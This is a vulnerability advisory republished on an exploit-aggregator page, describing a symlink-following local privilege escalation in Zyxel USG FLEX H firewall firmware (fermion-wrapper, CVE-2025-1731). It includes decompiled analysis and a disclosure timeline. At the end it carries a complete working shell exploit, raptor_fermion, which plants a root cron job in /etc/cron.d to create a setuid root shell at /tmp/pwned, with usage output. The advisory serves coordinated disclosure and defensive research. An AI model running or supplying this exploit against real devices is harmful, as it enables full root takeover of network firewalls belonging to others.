Share
## https://sploitus.com/exploit?id=PACKETSTORM:190622
--[ HNS-2025-10 - HN Security Advisory - https://security.humanativaspa.it/
    
    * Title: Local privilege escalation via Zyxel fermion-wrapper
    * Product: USG FLEX H Series
    * OS: Zyxel uOS V1.31 (and potentially earlier versions)
    * Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it>
    * Date: 2025-04-23
    * CVE ID: CVE-2025-1731 (see discussion in "5 - Remediation" below)
    * Severity: High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    * CWE ID: CWE-61 - https://cwe.mitre.org/data/definitions/61.html
    * HN Security URLs:
      https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt
      https://github.com/0xdea/exploits/blob/master/zyxel/raptor_fermion
      https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731
    * Vendor URLs:
      https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-incorrect-permission-assignment-and-improper-privilege-management-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025
      https://community.zyxel.com/en/discussion/28988/usg-flex-h-series-v1-32patch-0-firmware-release
    
    --[ 0 - Table of contents
    
    1 - Summary
    2 - Background
    3 - Vulnerabilities
        3.1 - Analysis
        3.2 - Exploitation
    4 - Affected products
    5 - Remediation
    6 - Disclosure timeline
    7 - Acknowledgments
    8 - References
    
    --[ 1 - Summary
    
    "So we wait, this is our labour... we wait."
                  -- Anthony Swofford on fuzzing
    
    The Zyxel USG FLEX H Series is a high-performance firewall series designed to
    meet the needs of demanding and high-speed networks. It features several
    gigabit ports, a user-friendly in-house operating system, and excellent
    performance for tasks like UTM (Unified Threat Management) and VPN (Virtual
    Private Network) functionalities. The USG FLEX H Series offers faster boot
    times and improved CPU performance, making it superior to the standard USG FLEX
    Series [1].
    
    We have identified some security vulnerabilities in the Zyxel uOS Linux-based
    operating system distributed with these appliances, that allow local users with
    access to a Linux OS shell to escalate privileges to root.
    
    --[ 2 - Background
    
    Because of our previous public research on Zyxel appliances [2], after
    discovering a remote command execution vulnerability (CVE-2025-1731) in the
    latest USG FLEX H Series [3], Alessandro Sgreccia (@rainpwn) of HackerHood
    contacted us and asked for help with finding local privilege escalation
    vectors.
    
    Since USG FLEX H Series devices are based on a new aarch64 hardware and ship
    with a completely revamped Linux-based operating system (Zyxel uOS) that is
    supposed to be "secure by default" (a claim reminiscent of Oracle's
    "unbreakable" marketing campaign in the days of yore [4]), we couldn't resist
    giving it a try... We quickly identified a viable privilege escalation vector
    related to the `Recovery Manager` functionality (CVE-2025-1732) that was
    reported to the vendor by Alessandro together with his other findings [3].
    
    However, we were not done yet. Since Alessandro kindly provided us with access
    to his USG FLEX 100H test device, we decided to keep looking for some other
    low-hanging fruits, as an excuse to battle-test our new "vulnerability
    divination" suite written in Rust [5] [6]. We started by examining setuid root
    binaries distributed with the OS.
    
    --[ 3 - Vulnerabilities
    
    The custom setuid root binary program `/usr/sbin/fermion-wrapper` follows
    symbolic links in the `/tmp` directory when run with the `register-status`
    argument. This allows local users with access to a Linux OS shell to trick the
    program into creating writable files at arbitrary locations in the filesystem.
    This vulnerability can be exploited to overwrite arbitrary files or locally
    escalate privileges from low-privileged user (e.g., `postgres`) to root.
    
    In addition, we identified a second issue in the filesystem: the `/tmp`
    directory doesn't have the sticky bit set. This small, overlooked detail
    simplifies exploitation of the `fermion-wrapper` vulnerability and may also
    open the door to all sorts of havoc.
    
    --[ 3.1 - Analysis
    
    We leveraged our haruspex [7] and oneiromancer [8] tools to streamline our
    binary audit workflow:
    
    ```
    raptor@fnord Downloads % haruspex fermion-wrapper
    haruspex 0.4.1 - Tool to extract IDA decompiler's pseudo-code
    Copyright (c) 2024-2025 Marco Ivaldi <raptor@0xdeadbeef.info>
    
    [*] Trying to analyze binary file "fermion-wrapper"
    [+] Successfully analyzed binary file
    
    [-] Processor: ARM Little-endian
    [-] Compiler: GNU
    [-] File type: ELF
    
    [*] Preparing output directory "fermion-wrapper.dec"
    [+] Output directory is ready
    
    [*] Extracting pseudo-code of functions...
    
    ...
    
    [+] Decompiled 98 functions into "fermion-wrapper.dec"
    [+] Done processing binary file "fermion-wrapper"
    
    raptor@fnord Downloads % oneiromancer fermion-wrapper.dec/sub_4068AC@4068AC.c
    oneiromancer 0.3.0 - GenAI assistant for C code analysis
    Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
    
    [*] Analyzing source code in "fermion-wrapper.dec/sub_4068AC@4068AC.c"
    [+] Successfully analyzed source code
    
    /*
     * getDeviceRegistrationStatus()
     *
     * This function retrieves the registration status of a device and stores
     * it in provided pointers. It uses cURL to make an HTTP request to a
     * specific URL with various options set for authentication and certificate
     * verification. The response is parsed using JSON to extract relevant
     * information about the device's registration status. If successful,
     * it updates cache files and performs additional actions based on the
     * registration status.
     */
    
    ...
    
    [*] Saving improved source code in "fermion-wrapper.dec/sub_4068AC@4068AC.out.c"
    [+] Done analyzing source code
    ```
    
    We ended up with the following relevant pseudo-code for the `sub_4068AC`
    function, that is called directly by `main`:
    
    ```c
    __int64 __fastcall sub_4068AC(_DWORD *isRegistered, _DWORD *isNeoAgentRegistered, _DWORD *bundleLicenseStatus)
    {
    ...
      requestUrl = "https://he.myzyxel.com/v1/device/status";
      jsonData = 0LL;
      operationResult = -1;
      statusCheckResult = 7;
      if ( geteuid() )
        sub_4072FC("/usr/bin/sudo", "/usr/bin/sudo", "/usr/bin/touch");
      bufferSize = sub_4067DC(deviceName, 20);
      curlHandle = curl_easy_init(bufferSize);
      if ( curlHandle )
      {
        bioMemHandle = BIO_s_mem();
        bioHandle = BIO_new(bioMemHandle);
        if ( bioHandle )
        {
    ...
          errorCode = curl_easy_perform(curlHandle);
          if ( !errorCode )
          {
            jsonData = (unsigned __int64 *)json_load_callback(sub_406878, bioHandle, 0LL, &jsonDataPointer);
            if ( jsonData )
            {
              statusValue = (_DWORD *)json_object_get(jsonData, "register");
    ...
              if ( !operationResult )
              {
                statusCheckResult = 0;
                statusCode = 2 * (2 * *isRegistered + *isNeoAgentRegistered) + *bundleLicenseStatus;
                fileStream = fopen("/share/neoagent/cache_register_status", "w");
                if ( fileStream )
                {
                  fprintf(fileStream, "%s\n", deviceName);
                  fprintf(fileStream, "%d\n", statusCode);
                  fclose(fileStream);
                }
                fileStream = fopen("/tmp/register_status", "w"); // VULN
                if ( fileStream )
                {
                  fprintf(fileStream, "%s\n", deviceName);
                  fprintf(fileStream, "%d\n", statusCode);
                  fclose(fileStream);
                }
                sub_406518(statusCheckResult, deviceName, errorCode);
                if ( !access("/usr/sbin/dha_send_fsync", 0) )
                {
                  sub_4072FC("/usr/sbin/build_dha_cert_neoagent.sh", "/usr/sbin/build_dha_cert_neoagent.sh", 0LL);
                  sub_4072FC("/usr/sbin/dha_send_fsync", "/usr/sbin/dha_send_fsync", "8");
                }
              }
    ...
    ```
    
    As you might suspect, the vulnerability lies at the line marked with `VULN`:
    the binary running with elevated privileges can be tricked into following a
    symbolic link placed in `/tmp/register_status` by a local low-privileged user.
    
    As mentioned earlier, exploitation is simplified by the lack of sticky bit in
    the filesystem permissions of the `/tmp` directory, that allows an attacker to
    replace any existent `/tmp/register_status` file even if it's owned by another
    user, including root:
    
    ```
    $ ls -ld /tmp
    drwxrwxrwx 30 root root 2240 Feb 27 18:16 /tmp # ¯\_(ツ)_/¯
    ```
    
    --[ 3.2 - Exploitation
    
    We have crafted a proof-of-concept exploit [9] that demonstrates how to achieve
    local privilege escalation. It can be used as follows:
    
    ```
    $ ./raptor_fermion
    raptor_fermion - Zyxel fermion-wrapper root LPE exploit
    Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
    
    [*] Exploiting /usr/sbin/fermion-wrapper
    $ uname -a
    Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
    $ id
    uid=502(postgres) gid=502(postgres) groups=502(postgres)
    $ ls -l /usr/sbin/fermion-wrapper
    -rwsr-xr-x 1 root root 44288 Jan  9 05:34 /usr/sbin/fermion-wrapper
    {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}
    
    [+] Everything looks good \o/, wait an hour and check /tmp/pwned
    $ ls -l /etc/cron.d/runme
    -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
    $ cat /etc/cron.d/runme
    * * * * *   cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme
    
    [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p
    
    [about one hour later...]
    
    $ ls -l /tmp/pwned
    -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
    $ /tmp/pwned -p
    # id
    uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
    # R00t D4nc3!!!111! \o/
    ```
    
    The code should be straightforward to understand. Note how we pulled off the
    old-school `umask 0` trick to be able to control the content of the file
    created by the vulnerable setuid binary. Also note how for some reason files in
    `/etc/cron.d` get processed every 50 minutes or so, instead of almost instantly
    as it happens on a standard Linux distribution... We leave the quest of looking
    for a better exploitation vector as an exercise for you, dear reader;)
    
    --[ 4 - Affected products
    
    We confirmed the vulnerabilities in the following products and firmware
    versions:
    
    ```
    $ cat /rw/fwversion
    ...
    MODEL_ID=USG FLEX 100H
    KERNEL_VERSION=4.14
    CAPWAP_VER=undefined
    FIRMWARE_VER=1.31(ABXF.0)
    KERNEL_BUILD_DATE=2025-01-09 04:35:09
    BUILD_DATE=2025-01-09 04:35:47
    FSH_VER=1.0.0
    ```
    
    ```
    $ cat /rw/fwversion
    ...
    MODEL_ID=USG FLEX 200H
    KERNEL_VERSION=4.14
    CAPWAP_VER=undefined
    FIRMWARE_VER=1.31(ABWV.0)
    KERNEL_BUILD_DATE=2025-01-09 05:10:23
    BUILD_DATE=2025-01-09 05:11:31
    FSH_VER=1.0.0
    ```
    
    Other products and earlier firmware versions may also be vulnerable. Please
    refer to Zyxel's official security advisory for additional information.
    
    --[ 5 - Remediation
    
    During the whole coordinated disclosure process, Zyxel was very responsive.
    
    Unfortunately, they insisted in using the already-assigned CVE-2025-1731 as the
    identifier for our local privilege escalation vulnerability. These are their
    statements in this regard:
    
    "Our product team has identified that the attack surface of the local
    privileges escalation issue stems from an incorrect permission assignment
    within the PostgreSQL commands. This misconfiguration grants users with
    'postgres' privileges the ability to access the Linux shell. A similar issue
    was recently reported by another researcher, and CVE-2025-1731 has been
    reserved to identify the vulnerability."
     
    "We kindly request any evidence demonstrating an alternative method to access
    the device's Linux shell for executing the malicious scripts or the PoC
    exploit, 'raptor_fermion,' that you previously shared. If such evidence is
    unavailable, we will proceed with using CVE-2025-1731 as the identifier for
    this issue."
    
    "We could not identify any explicit evidence in your report that demonstrates
    an alternative method distinct from CVE-2025-1731 that would allow attackers to
    gain access to the Linux shell. Consequently, we have decided not to assign a
    separate CVE ID to the local privilege escalation issue, as it aligns with the
    attack surface of CVE-2025-1731. Nevertheless, we appreciate your finding and
    will ensure it is acknowledged in CVE-2025-1731."
    
    We regret any confusion caused by this decision.
    
    As for the lack of sticky bit in the `/tmp` directory, Zyxel stated the
    following:
    
    "We currently do not consider this a security issue. However, we are open to
    reevaluating if you can provide a clear example demonstrating how it could
    result in a denial of service (DoS) problem. Otherwise, we will treat this as
    an implementation flaw rather than a vulnerability."
    
    Please refer to Zyxel's official security advisory for patching information. We
    have not checked the effectiveness of the fixes.
    
    --[ 6 - Disclosure timeline
    
    The coordinated disclosure timeline follows:
    
    2025-02-05: Alessandro Sgreccia contacted us to propose a collaboration.
    2025-03-10: Zyxel PSIRT was notified via <security@zyxel.com.tw> and
                acknowledged receipt of our advisory and PoC exploit.
    2025-03-17: Zyxel PSIRT communicated their intention of using the
    	    already-assigned CVE-2025-1731 as the identifier for our LPE.
    2025-03-17: We disagreed with Zyxel PSIRT and explained that using an unrelated
                CVE identifier for our issues would likely cause confusion.
    2025-03-18: Zyxel PSIRT confirmed their decision of not assigning a separate
                CVE ID to the local privilege escalation issue; they also stated
                that they don't consider the lack of sticky bit in `/tmp` a
                security issue, but simply an implementation flaw.
    2025-04-15: Zyxel released version 1.32 of its firmware that includes fixes for
                the reported vulnerabilities.
    2025-04-22: Zyxel PSIRT published their security advisory [3].
    2025-04-22: Alessandro Sgreccia published his security advisory.
    2025-04-23: HN Security published this advisory with full details.
    
    --[ 7 - Acknowledgments
    
    We would like to thank Alessandro Sgreccia (@rainpwn) of HackerHood for
    involving us in his research and for kindly providing access to his USG FLEX
    100H test device. It's been a pleasure working together!
    
    --[ 8 - References
    
    [1] https://support.zyxel.eu/hc/en-us/sections/17702103398546-Series-USG-FLEX-H
    [2] https://security.humanativaspa.it/tag/zyxel/
    [3] https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732
    [4] https://www.zdnet.com/article/oracles-unbreakable-toy-story/
    [5] https://security.humanativaspa.it/streamlining-vulnerability-research-with-ida-pro-and-rust/
    [6] https://security.humanativaspa.it/aiding-reverse-engineering-with-rust-and-a-local-llm/
    [7] https://github.com/0xdea/haruspex
    [8] https://github.com/0xdea/oneiromancer
    [9] https://github.com/0xdea/exploits/blob/master/zyxel/raptor_fermion
    
    Copyright (c) 2025 Marco Ivaldi and Humanativa Group. All rights reserved.
    
    
    
    --- packet storm addition of exploit below ---
    
    #!/bin/sh
    
    #
    # raptor_fermion - Zyxel fermion-wrapper root LPE exploit
    # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
    #
    # "So we wait, this is our labour... we wait."
    #               -- Anthony Swofford on fuzzing
    #
    # The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by
    # Zyxel with some of their appliances follows symbolic links in the `/tmp`
    # directory when run with the `register-status` argument. This allows local
    # users with access to a Linux OS shell to trick the program into creating
    # writable files at arbitrary locations in the filesystem. This vulnerability
    # can be exploited to overwrite arbitrary files or locally escalate privileges
    # from low-privileged user (e.g., `postgres`) to root.
    #
    # Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies
    # exploitation of this vulnerability and may also cause all sorts of havoc.
    #
    # ## Vulnerability information
    #
    # * CVE ID - CVE-2025-1731
    # * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    # * CWE-61 - https://cwe.mitre.org/data/definitions/61.html
    #
    # ## Relevant links
    #
    # * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt
    # * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731
    # * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732
    # * https://security.humanativaspa.it/tag/zyxel/
    #
    # ## Usage example
    #
    # ```
    # $ ./raptor_fermion
    # raptor_fermion - Zyxel fermion-wrapper root LPE exploit
    # Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
    #
    # [*] Exploiting /usr/sbin/fermion-wrapper
    # $ uname -a
    # Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
    # $ id
    # uid=502(postgres) gid=502(postgres) groups=502(postgres)
    # $ ls -l /usr/sbin/fermion-wrapper
    # -rwsr-xr-x 1 root root 44288 Jan  9 05:34 /usr/sbin/fermion-wrapper
    # {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}
    #
    # [+] Everything looks good \o/, wait an hour and check /tmp/pwned
    # $ ls -l /etc/cron.d/runme
    # -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
    # $ cat /etc/cron.d/runme
    # * * * * *   cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme
    #
    # [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p
    #
    # [about one hour later...]
    #
    # $ ls -l /tmp/pwned
    # -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
    # $ /tmp/pwned -p
    # # id
    # uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
    # # R00t D4nc3!!!111! \o/
    # ```
    #
    # ## Tested on
    #
    # * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47
    # * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31
    #
    # *Note: other products and firmware versions may also be vulnerable.*
    #
    # ## Special thanks
    #
    # * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices
    #
    
    echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit"
    echo "Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>"
    echo
    
    target="/usr/sbin/fermion-wrapper"
    tmpfile="/tmp/register_status"
    runme="/etc/cron.d/runme"
    shell="/tmp/pwned"
    
    echo "[*] Exploiting $target"
    echo "$ uname -a"
    uname -a
    echo "$ id"
    id
    echo "$ ls -l $target"
    ls -l $target
    
    umask 0
    rm $tmpfile
    ln -s $runme /tmp/register_status
    $target register-status
    echo "* * * * *   cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme
    
    if [ "`cat $runme 2>/dev/null`" = "" ]; then
    	echo "[!] Error: something went wrong ¯\\_(ツ)_/¯"
    	exit 1
    fi
    
    echo
    echo "[+] Everything looks good \\o/, wait an hour and check $shell"
    echo "$ ls -l $runme"
    ls -l $runme
    echo "$ cat $runme"
    cat $runme
    
    echo
    echo "[+] Run the shell as follows to bypass bash checks: $shell -p"
    echo